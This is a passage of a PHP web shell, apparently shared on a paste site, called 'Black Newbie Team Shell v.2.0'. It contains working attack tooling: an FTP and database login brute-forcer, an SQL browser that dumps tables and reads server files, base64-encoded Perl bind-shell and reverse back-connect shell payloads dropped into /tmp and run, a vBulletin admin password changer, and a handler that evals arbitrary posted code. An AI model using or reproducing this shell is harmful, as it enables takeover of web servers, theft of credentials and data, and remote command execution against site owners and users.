  1180.                     }
  1181.                 }
  1182.         } elseif($_POST['type'] == 2) {
  1183.             $temp = @file($_POST['dict']);
  1184.             if( is_array($temp) )
  1185.                 foreach($temp as $line) {
  1186.                     $line = trim($line);
  1187.                     ++$attempts;
  1188.                     if( bruteForce($server[0],@$server[1], $_POST['login'], $line) ) {
  1189.                         $success++;
  1190.                         echo '<b>'.htmlspecialchars($_POST['login']).'</b>:'.htmlspecialchars($line).'<br>';
  1191.                     }
  1192.                 }
  1193.         }
  1194.         echo "<span>Attempts:</span> $attempts <span>Success:</span> $success</div><br>";
  1195.     }
  1196.     echo '<div class=content><h1>Brute Force</h1><table><form method=post><tr><td><span>Type</span></td>'
  1197.         .'<td><select name=proto><option value=ftp>FTP</option><option value=mysql>MySql</option><option value=pgsql>PostgreSql</option></select></td></tr><tr><td>'
  1198.         .'<input type=hidden name=c value="'.htmlspecialchars($GLOBALS['cwd']).'">'
  1199.         .'<input type=hidden name=a value="'.htmlspecialchars($_POST['a']).'">'
  1200.         .'<input type=hidden name=charset value="'.htmlspecialchars($_POST['charset']).'">'
  1201.         .'<span>Server:port</span></td>'
  1202.         .'<td><input type=text name=server value="127.0.0.1"></td></tr>'
  1203.         .'<tr><td><span>Brute type</span></td>'
  1204.         .'<td><label><input type=radio name=type value="1" checked> /etc/passwd</label></td></tr>'
  1205.         .'<tr><td></td><td><label style="padding-left:15px"><input type=checkbox name=reverse value=1 checked> reverse (login -> nigol)</label></td></tr>'
  1206.         .'<tr><td></td><td><label><input type=radio name=type value="2"> Dictionary</label></td></tr>'
  1207.         .'<tr><td></td><td><table style="padding-left:15px"><tr><td><span>Login</span></td>'
  1208.         .'<td><input type=text name=login value="root"></td></tr>'
  1209.         .'<tr><td><span>Dictionary</span></td>'
  1210.         .'<td><input type=text name=dict value="'.htmlspecialchars($GLOBALS['cwd']).'passwd.dic"></td></tr></table>'
  1211.         .'</td></tr><tr><td></td><td><input type=submit value=">>"></td></tr></form></table>';
  1212.     echo '</div><br>';
  1213.     BNTFFooter();
  1214. }
  1215.  
  1216.  
  1217.  
  1218. function actionTes() {
  1219.     BNTFHeader();
  1220.  
  1221.  
  1222.     BNTFFooter();  
  1223. }
  1224.  
  1225.  
  1226.  
  1227. function actionSql() {
  1228.     class DbClass {
  1229.         var $type;
  1230.         var $link;
  1231.         var $res;
  1232.         function DbClass($type) {
  1233.             $this->type = $type;
  1234.         }
  1235.         function connect($host, $user, $pass, $dbname){
  1236.             switch($this->type) {
  1237.                 case 'mysql':
  1238.                     if( $this->link = @mysql_connect($host,$user,$pass,true) ) return true;
  1239.                     break;
  1240.                 case 'pgsql':
  1241.                     $host = explode(':', $host);
  1242.                     if(!$host[1]) $host[1]=5432;
  1243.                     if( $this->link = @pg_connect("host={$host[0]} port={$host[1]} user=$user password=$pass dbname=$dbname") ) return true;
  1244.                     break;
  1245.             }
  1246.             return false;
  1247.         }
  1248.         function selectdb($db) {
  1249.             switch($this->type) {
  1250.                 case 'mysql':
  1251.                     if (@mysql_select_db($db))return true;
  1252.                     break;
  1253.             }
  1254.             return false;
  1255.         }
  1256.         function query($str) {
  1257.             switch($this->type) {
  1258.                 case 'mysql':
  1259.                     return $this->res = @mysql_query($str);
  1260.                     break;
  1261.                 case 'pgsql':
  1262.                     return $this->res = @pg_query($this->link,$str);
  1263.                     break;
  1264.             }
  1265.             return false;
  1266.         }
  1267.         function fetch() {
  1268.             $res = func_num_args()?func_get_arg(0):$this->res;
  1269.             switch($this->type) {
  1270.                 case 'mysql':
  1271.                     return @mysql_fetch_assoc($res);
  1272.                     break;
  1273.                 case 'pgsql':
  1274.                     return @pg_fetch_assoc($res);
  1275.                     break;
  1276.             }
  1277.             return false;
  1278.         }
  1279.         function listDbs() {
  1280.             switch($this->type) {
  1281.                 case 'mysql':
  1282.                         return $this->query("SHOW databases");
  1283.                 break;
  1284.                 case 'pgsql':
  1285.                     return $this->res = $this->query("SELECT datname FROM pg_database WHERE datistemplate!='t'");
  1286.                 break;
  1287.             }
  1288.             return false;
  1289.         }
  1290.         function listTables() {
  1291.             switch($this->type) {
  1292.                 case 'mysql':
  1293.                     return $this->res = $this->query('SHOW TABLES');
  1294.                 break;
  1295.                 case 'pgsql':
  1296.                     return $this->res = $this->query("select table_name from information_schema.tables where table_schema != 'information_schema' AND table_schema != 'pg_catalog'");
  1297.                 break;
  1298.             }
  1299.             return false;
  1300.         }
  1301.         function error() {
  1302.             switch($this->type) {
  1303.                 case 'mysql':
  1304.                     return @mysql_error();
  1305.                 break;
  1306.                 case 'pgsql':
  1307.                     return @pg_last_error();
  1308.                 break;
  1309.             }
  1310.             return false;
  1311.         }
  1312.         function setCharset($str) {
  1313.             switch($this->type) {
  1314.                 case 'mysql':
  1315.                     if(function_exists('mysql_set_charset'))
  1316.                         return @mysql_set_charset($str, $this->link);
  1317.                     else
  1318.                         $this->query('SET CHARSET '.$str);
  1319.                     break;
  1320.                 case 'pgsql':
  1321.                     return @pg_set_client_encoding($this->link, $str);
  1322.                     break;
  1323.             }
  1324.             return false;
  1325.         }
  1326.         function loadFile($str) {
  1327.             switch($this->type) {
  1328.                 case 'mysql':
  1329.                     return $this->fetch($this->query("SELECT LOAD_FILE('".addslashes($str)."') as file"));
  1330.                 break;
  1331.                 case 'pgsql':
  1332.                     $this->query("CREATE TABLE BNTF2(file text);COPY BNTF2 FROM '".addslashes($str)."';select file from BNTF2;");
  1333.                     $r=array();
  1334.                     while($i=$this->fetch())
  1335.                         $r[] = $i['file'];
  1336.                     $this->query('drop table BNTF2');
  1337.                     return array('file'=>implode("\n",$r));
  1338.                 break;
  1339.             }
  1340.             return false;
  1341.         }
  1342.         function dump($table, $fp = false) {
  1343.             switch($this->type) {
  1344.                 case 'mysql':
  1345.                     $res = $this->query('SHOW CREATE TABLE `'.$table.'`');
  1346.                     $create = mysql_fetch_array($res);
  1347.                     $sql = $create[1].";\n";
  1348.                     if($fp) fwrite($fp, $sql); else echo($sql);
  1349.                     $this->query('SELECT * FROM `'.$table.'`');
  1350.                     $head = true;
  1351.                     while($item = $this->fetch()) {
  1352.                         $columns = array();
  1353.                         foreach($item as $k=>$v) {
  1354.                             if($v == null)
  1355.                                 $item[$k] = "NULL";
  1356.                             elseif(is_numeric($v))
  1357.                                 $item[$k] = $v;
  1358.                             else
  1359.                                 $item[$k] = "'".@mysql_real_escape_string($v)."'";
  1360.                             $columns[] = "`".$k."`";
  1361.                         }
  1362.                         if($head) {
  1363.                             $sql = 'INSERT INTO `'.$table.'` ('.implode(", ", $columns).") VALUES \n\t(".implode(", ", $item).')';
  1364.                             $head = false;
  1365.                         } else
  1366.                             $sql = "\n\t,(".implode(", ", $item).')';
  1367.                         if($fp) fwrite($fp, $sql); else echo($sql);
  1368.                     }
  1369.                     if(!$head)
  1370.                         if($fp) fwrite($fp, ";\n\n"); else echo(";\n\n");
  1371.                 break;
  1372.                 case 'pgsql':
  1373.                     $this->query('SELECT * FROM '.$table);
  1374.                     while($item = $this->fetch()) {
  1375.                         $columns = array();
  1376.                         foreach($item as $k=>$v) {
  1377.                             $item[$k] = "'".addslashes($v)."'";
  1378.                             $columns[] = $k;
  1379.                         }
  1380.                         $sql = 'INSERT INTO '.$table.' ('.implode(", ", $columns).') VALUES ('.implode(", ", $item).');'."\n";
  1381.                         if($fp) fwrite($fp, $sql); else echo($sql);
  1382.                     }
  1383.                 break;
  1384.             }
  1385.             return false;
  1386.         }
  1387.     };
  1388.     $db = new DbClass($_POST['type']);
  1389.     if(@$_POST['p2']=='download') {
  1390.         $db->connect($_POST['sql_host'], $_POST['sql_login'], $_POST['sql_pass'], $_POST['sql_base']);
  1391.         $db->selectdb($_POST['sql_base']);
  1392.         switch($_POST['charset']) {
  1393.             case "Windows-1251": $db->setCharset('cp1251'); break;
  1394.             case "UTF-8": $db->setCharset('utf8'); break;
  1395.             case "KOI8-R": $db->setCharset('koi8r'); break;
  1396.             case "KOI8-U": $db->setCharset('koi8u'); break;
  1397.             case "cp866": $db->setCharset('cp866'); break;
  1398.         }
  1399.         if(empty($_POST['file'])) {
  1400.             ob_start("ob_gzhandler", 4096);
  1401.             header("Content-Disposition: attachment; filename=dump.sql");
  1402.             header("Content-Type: text/plain");
  1403.             foreach($_POST['tbl'] as $v)
  1404.                 $db->dump($v);
  1405.             exit;
  1406.         } elseif($fp = @fopen($_POST['file'], 'w')) {
  1407.             foreach($_POST['tbl'] as $v)
  1408.                 $db->dump($v, $fp);
  1409.             fclose($fp);
  1410.             unset($_POST['p2']);
  1411.         } else
  1412.             die('<script>alert("Error! Can\'t open file");window.history.back(-1)</script>');
  1413.     }
  1414.     BNTFHeader();
  1415.     echo "
  1416. <div class=content><h1>Sql browser</h1>
  1417. <form name='sf' method='post' onsubmit='fs(this);'><table cellpadding='2' cellspacing='0'><tr>
  1418. <td>Type</td><td>Host</td><td>Login</td><td>Password</td><td>Database</td><td></td></tr><tr>
  1419. <input type=hidden name=a value=Sql><input type=hidden name=p1 value='query'><input type=hidden name=p2 value=''><input type=hidden name=c value='". htmlspecialchars($GLOBALS['cwd']) ."'><input type=hidden name=charset value='". (isset($_POST['charset'])?$_POST['charset']:'') ."'>
  1420. <td><select name='type'><option value='mysql' ";
  1421.     if(@$_POST['type']=='mysql')echo 'selected';
  1422. echo ">MySql</option><option value='pgsql' ";
  1423. if(@$_POST['type']=='pgsql')echo 'selected';
  1424. echo ">PostgreSql</option></select></td>
  1425. <td><input type=text name=sql_host value='". (empty($_POST['sql_host'])?'localhost':htmlspecialchars($_POST['sql_host'])) ."'></td>
  1426. <td><input type=text name=sql_login value='". (empty($_POST['sql_login'])?'root':htmlspecialchars($_POST['sql_login'])) ."'></td>
  1427. <td><input type=text name=sql_pass value='". (empty($_POST['sql_pass'])?'':htmlspecialchars($_POST['sql_pass'])) ."'></td><td>";
  1428.     $tmp = "<input type=text name=sql_base value=''>";
  1429.     if(isset($_POST['sql_host'])){
  1430.         if($db->connect($_POST['sql_host'], $_POST['sql_login'], $_POST['sql_pass'], $_POST['sql_base'])) {
  1431.             switch($_POST['charset']) {
  1432.                 case "Windows-1251": $db->setCharset('cp1251'); break;
  1433.                 case "UTF-8": $db->setCharset('utf8'); break;
  1434.                 case "KOI8-R": $db->setCharset('koi8r'); break;
  1435.                 case "KOI8-U": $db->setCharset('koi8u'); break;
  1436.                 case "cp866": $db->setCharset('cp866'); break;
  1437.             }
  1438.             $db->listDbs();
  1439.             echo "<select name=sql_base><option value=''></option>";
  1440.             while($item = $db->fetch()) {
  1441.                 list($key, $value) = each($item);
  1442.                 echo '<option value="'.$value.'" '.($value==$_POST['sql_base']?'selected':'').'>'.$value.'</option>';
  1443.             }
  1444.             echo '</select>';
  1445.         }
  1446.         else echo $tmp;
  1447.     }else
  1448.         echo $tmp;
  1449.     echo "</td>
  1450.                 <td><input type=submit value='>>' onclick='fs(d.sf);'></td>
  1451.                 <td><input type=checkbox name=sql_count value='on'" . (empty($_POST['sql_count'])?'':' checked') . "> count the number of rows</td>
  1452.             </tr>
  1453.         </table>
  1454.         <script>
  1455.             s_db='".@addslashes($_POST['sql_base'])."';
  1456.             function fs(f) {
  1457.                 if(f.sql_base.value!=s_db) { f.onsubmit = function() {};
  1458.                     if(f.p1) f.p1.value='';
  1459.                     if(f.p2) f.p2.value='';
  1460.                     if(f.p3) f.p3.value='';
  1461.                 }
  1462.             }
  1463.             function st(t,l) {
  1464.                 d.sf.p1.value = 'select';
  1465.                 d.sf.p2.value = t;
  1466.                 if(l && d.sf.p3) d.sf.p3.value = l;
  1467.                 d.sf.submit();
  1468.             }
  1469.             function is() {
  1470.                 for(i=0;i<d.sf.elements['tbl[]'].length;++i)
  1471.                     d.sf.elements['tbl[]'][i].checked = !d.sf.elements['tbl[]'][i].checked;
  1472.             }
  1473.         </script>";
  1474.     if(isset($db) && $db->link){
  1475.         echo "<br/><table width=100% cellpadding=2 cellspacing=0>";
  1476.             if(!empty($_POST['sql_base'])){
  1477.                 $db->selectdb($_POST['sql_base']);
  1478.                 echo "<tr><td width=1 style='border-top:2px solid #666;'><span>Tables:</span><br><br>";
  1479.                 $tbls_res = $db->listTables();
  1480.                 while($item = $db->fetch($tbls_res)) {
  1481.                     list($key, $value) = each($item);
  1482.                     if(!empty($_POST['sql_count']))
  1483.                         $n = $db->fetch($db->query('SELECT COUNT(*) as n FROM '.$value.''));
  1484.                     $value = htmlspecialchars($value);
  1485.                     echo "<nobr><input type='checkbox' name='tbl[]' value='".$value."'> <a href=# onclick=\"st('".$value."',1)\">".$value."</a>" . (empty($_POST['sql_count'])?' ':" <small>({$n['n']})</small>") . "</nobr><br>";
  1486.                 }
  1487.                 echo "<input type='checkbox' onclick='is();'> <input type=button value='Dump' onclick='document.sf.p2.value=\"download\";document.sf.submit();'><br>File path:<input type=text name=file value='dump.sql'></td><td style='border-top:2px solid #666;'>";
  1488.                 if(@$_POST['p1'] == 'select') {
  1489.                     $_POST['p1'] = 'query';
  1490.                     $_POST['p3'] = $_POST['p3']?$_POST['p3']:1;
  1491.                     $db->query('SELECT COUNT(*) as n FROM ' . $_POST['p2']);
  1492.                     $num = $db->fetch();
  1493.                     $pages = ceil($num['n'] / 30);
  1494.                     echo "<script>d.sf.onsubmit=function(){st(\"" . $_POST['p2'] . "\", d.sf.p3.value)}</script><span>".$_POST['p2']."</span> ({$num['n']} records) Page # <input type=text name='p3' value=" . ((int)$_POST['p3']) . ">";
  1495.                     echo " of $pages";
  1496.                     if($_POST['p3'] > 1)
  1497.                         echo " <a href=# onclick='st(\"" . $_POST['p2'] . '", ' . ($_POST['p3']-1) . ")'>< Prev</a>";
  1498.                     if($_POST['p3'] < $pages)
  1499.                         echo " <a href=# onclick='st(\"" . $_POST['p2'] . '", ' . ($_POST['p3']+1) . ")'>Next ></a>";
  1500.                     $_POST['p3']--;
  1501.                     if($_POST['type']=='pgsql')
  1502.                         $_POST['p2'] = 'SELECT * FROM '.$_POST['p2'].' LIMIT 30 OFFSET '.($_POST['p3']*30);
  1503.                     else
  1504.                         $_POST['p2'] = 'SELECT * FROM `'.$_POST['p2'].'` LIMIT '.($_POST['p3']*30).',30';
  1505.                     echo "<br><br>";
  1506.                 }
  1507.                 if((@$_POST['p1'] == 'query') && !empty($_POST['p2'])) {
  1508.                     $db->query(@$_POST['p2']);
  1509.                     if($db->res !== false) {
  1510.                         $title = false;
  1511.                         echo '<table width=100% cellspacing=1 cellpadding=2 class=main style="background-color:#292929">';
  1512.                         $line = 1;
  1513.                         while($item = $db->fetch()) {
  1514.                             if(!$title) {
  1515.                                 echo '<tr>';
  1516.                                 foreach($item as $key => $value)
  1517.                                     echo '<th>'.$key.'</th>';
  1518.                                 reset($item);
  1519.                                 $title=true;
  1520.                                 echo '</tr><tr>';
  1521.                                 $line = 2;
  1522.                             }
  1523.                             echo '<tr class="l'.$line.'">';
  1524.                             $line = $line==1?2:1;
  1525.                             foreach($item as $key => $value) {
  1526.                                 if($value == null)
  1527.                                     echo '<td><i>null</i></td>';
  1528.                                 else
  1529.                                     echo '<td>'.nl2br(htmlspecialchars($value)).'</td>';
  1530.                             }
  1531.                             echo '</tr>';
  1532.                         }
  1533.                         echo '</table>';
  1534.                     } else {
  1535.                         echo '<div><b>Error:</b> '.htmlspecialchars($db->error()).'</div>';
  1536.                     }
  1537.                 }
  1538.                 echo "<br></form><form onsubmit='d.sf.p1.value=\"query\";d.sf.p2.value=this.query.value;document.sf.submit();return false;'><textarea name='query' style='width:100%;height:100px'>";
  1539.                 if(!empty($_POST['p2']) && ($_POST['p1'] != 'loadfile'))
  1540.                     echo htmlspecialchars($_POST['p2']);
  1541.                 echo "</textarea><br/><input type=submit value='Execute'>";
  1542.                 echo "</td></tr>";
  1543.             }
  1544.             echo "</table></form><br/>";
  1545.             if($_POST['type']=='mysql') {
  1546.                 $db->query("SELECT 1 FROM mysql.user WHERE concat(`user`, '@', `host`) = USER() AND `File_priv` = 'y'");
  1547.                 if($db->fetch())
  1548.                     echo "<form onsubmit='d.sf.p1.value=\"loadfile\";document.sf.p2.value=this.f.value;document.sf.submit();return false;'><span>Load file</span> <input  class='toolsInp' type=text name=f><input type=submit value='>>'></form>";
  1549.             }
  1550.             if(@$_POST['p1'] == 'loadfile') {
  1551.                 $file = $db->loadFile($_POST['p2']);
  1552.                 echo '<pre class=ml1>'.htmlspecialchars($file['file']).'</pre>';
  1553.             }
  1554.     } else {
  1555.         echo htmlspecialchars($db->error());
  1556.     }
  1557.     echo '</div>';
  1558.     BNTFFooter();
  1559. }
  1560. function actionNetwork() {
  1561.     BNTFHeader();
  1562.     $back_connect_p="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGlhZGRyPWluZXRfYXRvbigkQVJHVlswXSkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRBUkdWWzFdLCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKTsNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgnL2Jpbi9zaCAtaScpOw0KY2xvc2UoU1RESU4pOw0KY2xvc2UoU1RET1VUKTsNCmNsb3NlKFNUREVSUik7";
  1563.     $bind_port_p="IyEvdXNyL2Jpbi9wZXJsDQokU0hFTEw9Ii9iaW4vc2ggLWkiOw0KaWYgKEBBUkdWIDwgMSkgeyBleGl0KDEpOyB9DQp1c2UgU29ja2V0Ow0Kc29ja2V0KFMsJlBGX0lORVQsJlNPQ0tfU1RSRUFNLGdldHByb3RvYnluYW1lKCd0Y3AnKSkgfHwgZGllICJDYW50IGNyZWF0ZSBzb2NrZXRcbiI7DQpzZXRzb2Nrb3B0KFMsU09MX1NPQ0tFVCxTT19SRVVTRUFERFIsMSk7DQpiaW5kKFMsc29ja2FkZHJfaW4oJEFSR1ZbMF0sSU5BRERSX0FOWSkpIHx8IGRpZSAiQ2FudCBvcGVuIHBvcnRcbiI7DQpsaXN0ZW4oUywzKSB8fCBkaWUgIkNhbnQgbGlzdGVuIHBvcnRcbiI7DQp3aGlsZSgxKSB7DQoJYWNjZXB0KENPTk4sUyk7DQoJaWYoISgkcGlkPWZvcmspKSB7DQoJCWRpZSAiQ2Fubm90IGZvcmsiIGlmICghZGVmaW5lZCAkcGlkKTsNCgkJb3BlbiBTVERJTiwiPCZDT05OIjsNCgkJb3BlbiBTVERPVVQsIj4mQ09OTiI7DQoJCW9wZW4gU1RERVJSLCI+JkNPTk4iOw0KCQlleGVjICRTSEVMTCB8fCBkaWUgcHJpbnQgQ09OTiAiQ2FudCBleGVjdXRlICRTSEVMTFxuIjsNCgkJY2xvc2UgQ09OTjsNCgkJZXhpdCAwOw0KCX0NCn0=";
  1564.     echo "<div class=content><h1>Network tools</h1>
  1565.     <form name='nfp' onSubmit=\"g(null,null,'bpp',this.port.value);return false;\">
  1566.     <span>Bind port to /bin/sh [perl]</span><br/>
  1567.     Port: <input type='text' name='port' value='31337'> <input type=submit value='>>'>
  1568.     </form>
  1569.     <form name='nfp' onSubmit=\"g(null,null,'bcp',this.server.value,this.port.value);return false;\">
  1570.     <span>Back-connect  [perl]</span><br/>
  1571.     Server: <input type='text' name='server' value='". $_SERVER['REMOTE_ADDR'] ."'> Port: <input type='text' name='port' value='31337'> <input type=submit value='>>'>
  1572.     </form><br>";
  1573.     if(isset($_POST['p1'])) {
  1574.         function cf($f,$t) {
  1575.             $w = @fopen($f,"w") or @function_exists('file_put_contents');
  1576.             if($w){
  1577.                 @fwrite($w,@base64_decode($t));
  1578.                 @fclose($w);
  1579.             }
  1580.         }
  1581.         if($_POST['p1'] == 'bpp') {
  1582.             cf("/tmp/bp.pl",$bind_port_p);
  1583.             $out = BNT("perl /tmp/bp.pl ".$_POST['p2']." 1>/dev/null 2>&1 &");
  1584.             echo "<pre class=ml1>$out\n".BNT("ps aux | grep bp.pl")."</pre>";
  1585.             unlink("/tmp/bp.pl");
  1586.         }
  1587.         if($_POST['p1'] == 'bcp') {
  1588.             cf("/tmp/bc.pl",$back_connect_p);
  1589.             $out = BNT("perl /tmp/bc.pl ".$_POST['p2']." ".$_POST['p3']." 1>/dev/null 2>&1 &");
  1590.             echo "<pre class=ml1>$out\n".BNT("ps aux | grep bc.pl")."</pre>";
  1591.             unlink("/tmp/bc.pl");
  1592.         }
  1593.     }
  1594.     echo '</div>';
  1595.     BNTFFooter();
  1596. }
  1597.  
  1598. function actionPwdChanger() {
  1599.     BNTFHeader();
  1600.     echo "<div class=content><h1>Change vBulletin Info</h1><hr><table><form method=post><tr><td></td>
  1601. <tr>
  1602. <center>Patch Control Panel : [patch]/admincp<br>Path Config : [patch]/includes/config.php<br>includes/init.php >> includes/class_core.php
  1603. >> includes/config.php</center>
  1604.     <center><form method=POST action=''>Mysql Host</font><br><input value=localhost type=text name=dbhvb size='50'><br>
  1605.           DB name<br></font><input value=forums type=text name=dbnvb size='50' ><br>
  1606.           DB user<br></font><input value=root type=text name=dbuvb size='50'><br>
  1607.           DB password<br></font><input value=admin type=password name=dbpvb size='50'><br>
  1608.           Table prefix<br></font><input value=vb_ type=text name=prvb size='50' ><br>
  1609.           User admin<br></font><input value=admin type=text name=urvb size='50' ><br>
  1610.           New password admin<br></font><input value=r00t type=password name=psvb size='50'><br>
  1611.           New E-mail admin<br></font><input value=info@newbielasax.com type=text name=emvb size='50'><br>
  1612.           <input type=submit value='Change' ><br>
  1613.           </form></center></tr></table></center>";
  1614. BNTFFooter();
  1615. }
  1616.  
  1617. function actionAbout() {
  1618.     BNTFHeader();
  1619.     echo "<div class=content><h1>About BNT Shell</h1><hr><table><form method=post><tr><td></td>
  1620. <tr>
  1621. Black Newbie Team Shell v.2.0 Beta</br>
  1622. #Author : Newbie Lasax<br />
  1623. #Mail : info@newbielasax.com<br />
  1624. #Forum : <a href='http://forum.blacknewbieteam.org' target=\"_blank\">Black Newbie Forum</a><br />
  1625. #Greetz To : Sanimorphic_Tux | Arul_Zomb | Vaga_Hacker_Dz | Emboet RJ | Madan | X_Injectt | Nanok_Kiddrock | Proxy_Injector | Civil | 541 | 5rbeal |
  1626. </tr></table></center>";
  1627. BNTFFooter();
  1628. }
  1629.  
  1630. function actionRC() {
  1631.     if(!@$_POST['p1']) {
  1632.         $a = array(
  1633.             "uname" => php_uname(),
  1634.             "php_version" => phpversion(),
  1635.             "BNTF_version" => BNTF_VERSION,
  1636.             "safemode" => @ini_get('safe_mode')
  1637.         );
  1638.         echo serialize($a);
  1639.     } else {
  1640.         eval($_POST['p1']);
  1641.     }
  1642. }
  1643. if( empty($_POST['a']) )
  1644.     if(isset($default_action) && function_exists('action' . $default_action))
  1645.         $_POST['a'] = $default_action;
  1646.     else
  1647.         $_POST['a'] = 'SecInfo';
  1648. if( !empty($_POST['a']) && function_exists('action' . $_POST['a']) )
  1649.     call_user_func('action' . $_POST['a']);
  1650. exit;
  1651.  
  1652. ?>
Add Comment
Please, Sign In to add comment